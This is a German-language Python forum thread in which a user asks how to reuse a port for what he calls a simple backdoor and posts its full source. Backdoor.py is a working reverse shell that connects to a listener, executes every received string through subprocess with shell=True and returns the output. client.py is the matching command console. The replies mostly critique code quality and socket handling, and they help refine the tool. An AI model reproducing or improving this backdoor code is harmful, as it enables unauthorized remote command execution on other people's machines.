Mit python einen Port wieder freigeben

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Antworten
idontknowwho
User
Beiträge: 3
Registriert: Donnerstag 13. August 2020, 14:47

Hallo,

In meinem aktuellen Programm benutze ich die Socket Bibliothek für eine einfache Backdoor. Ich kann mich aber mit der Backdoor nur einmal verbinden weil der Port belegt ist. Ich möchte gerne wissen wie man mit Python einen Port der gerade benutzt wird wieder freigeben kann.

Danke im Voraus.
Benutzeravatar
sparrow
User
Beiträge: 4183
Registriert: Freitag 17. April 2009, 10:28

Mit einer Backdoor?!?

Zeig doch mal, was du tust - also deinen Code.
In Code-Tags. Die erscheinen automatisch, wenn man den </> Button im vollständigen Editor drückt.

Sockets sollte man mit dem with-Statement verwenden.
idontknowwho
User
Beiträge: 3
Registriert: Donnerstag 13. August 2020, 14:47

Hi,

Hier ist der Code:
Backdoor.py:

Code: Alles auswählen

import socket
import subprocess
import threading
import time


host = '127.0.0.1'
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#def tryben():
    #try:
        #s.connect((host, port))
    #except:
        #None


def recv_data():
    s.send(bytes("Backdoor running.", "utf8"))
    while True:
        try:
            data = s.recv(256)
            proc = subprocess.Popen(str(data, "utf8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE,
                           stderr=subprocess.PIPE)
            stdout = proc.stdout.read()
            stderr = proc.stderr.read()
            s.send(stdout)
            s.send(stderr)
        except:
            trycond2()

def trycond():
    while True:
        try:
            #host = '127.0.0.1'
            #port = 1337
            #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            recv_data()
        
        
        except:
            #host = '127.0.0.1'
            #port = 1337
            #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            trycond()
            continue

def trycond2():
    while True:
        try:
            host = '127.0.0.1'
            port = 1337
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            recv_data()
        
        
        except:
            #host = '127.0.0.1'
            #port = 1337
            #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            trycond()
            continue

trycond()

#def while1():    
    

und der client.py:

Code: Alles auswählen

import socket
import time

host = '127.0.0.1'
global port
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Connection established to " + addr[0])
data = connection.recv(256)
print(str(data, "utf8"))
def cmd_console():
    while True:
        cmd = input("Command: ")
        connection.send(bytes(cmd, "utf8"))
        data = connection.recv(256)
        print(str(data, "utf8"))
cmd_console()
connection.close()
Kommentare einfach nicht beachten, habe da einfach was ausprobiert.
Sirius3
User
Beiträge: 17737
Registriert: Sonntag 21. Oktober 2012, 17:20

threading und time wird importiert aber nicht benutzt. Benutze keine globalen Variablen, was auch Dein Problem erklärt. Benutze keine nackten except, die ganzen while-Schleifen mit den rekursiven Aufrufen sind nicht so toll. Das versteht keiner, was da abläuft.
`trycond` und `trycond2` machen das selbe. Warum gibt es das zweimal?
Und dann noch das übliche, dass so sockets nicht funktionieren. Der Code muß damit zurecht kommen, dass bei einem recv auch nur einzelne Bytes kommen und dass send nicht alles sendet.
Statt bytes oder str mit einem Encoding aufzurufen, solltest Du die encode, bzw. decode-Methoden benutzen. Dass shell=True eine Sicherheitslücke ist, spielt bei einer Backdoor wohl keine Rolle.
Benutzeravatar
pintman
User
Beiträge: 39
Registriert: Freitag 2. Dezember 2005, 20:43
Kontaktdaten:

Sirius3 hat geschrieben: Donnerstag 13. August 2020, 15:57 Statt bytes oder str mit einem Encoding aufzurufen, solltest Du die encode, bzw. decode-Methoden benutzen.
Könntest du einmal den Unterschied und den Vorteil von encode/decode beschreiben?
Sirius3
User
Beiträge: 17737
Registriert: Sonntag 21. Oktober 2012, 17:20

Die Methoden sind etwas geläufiger und man weiß gleich beim Lesen, was passiert. Bei str(data, "utf8") wird irgendwas in einen String umgewandelt, nur das zweite Argument lässt erkennen, dass eine Decodierung stattfindet, denn str(data) macht etwas ganz anderes.
Benutzeravatar
pintman
User
Beiträge: 39
Registriert: Freitag 2. Dezember 2005, 20:43
Kontaktdaten:

Danke für die Klärung. Ich dachte, es gäbe einen technischen Unterschied.
Antworten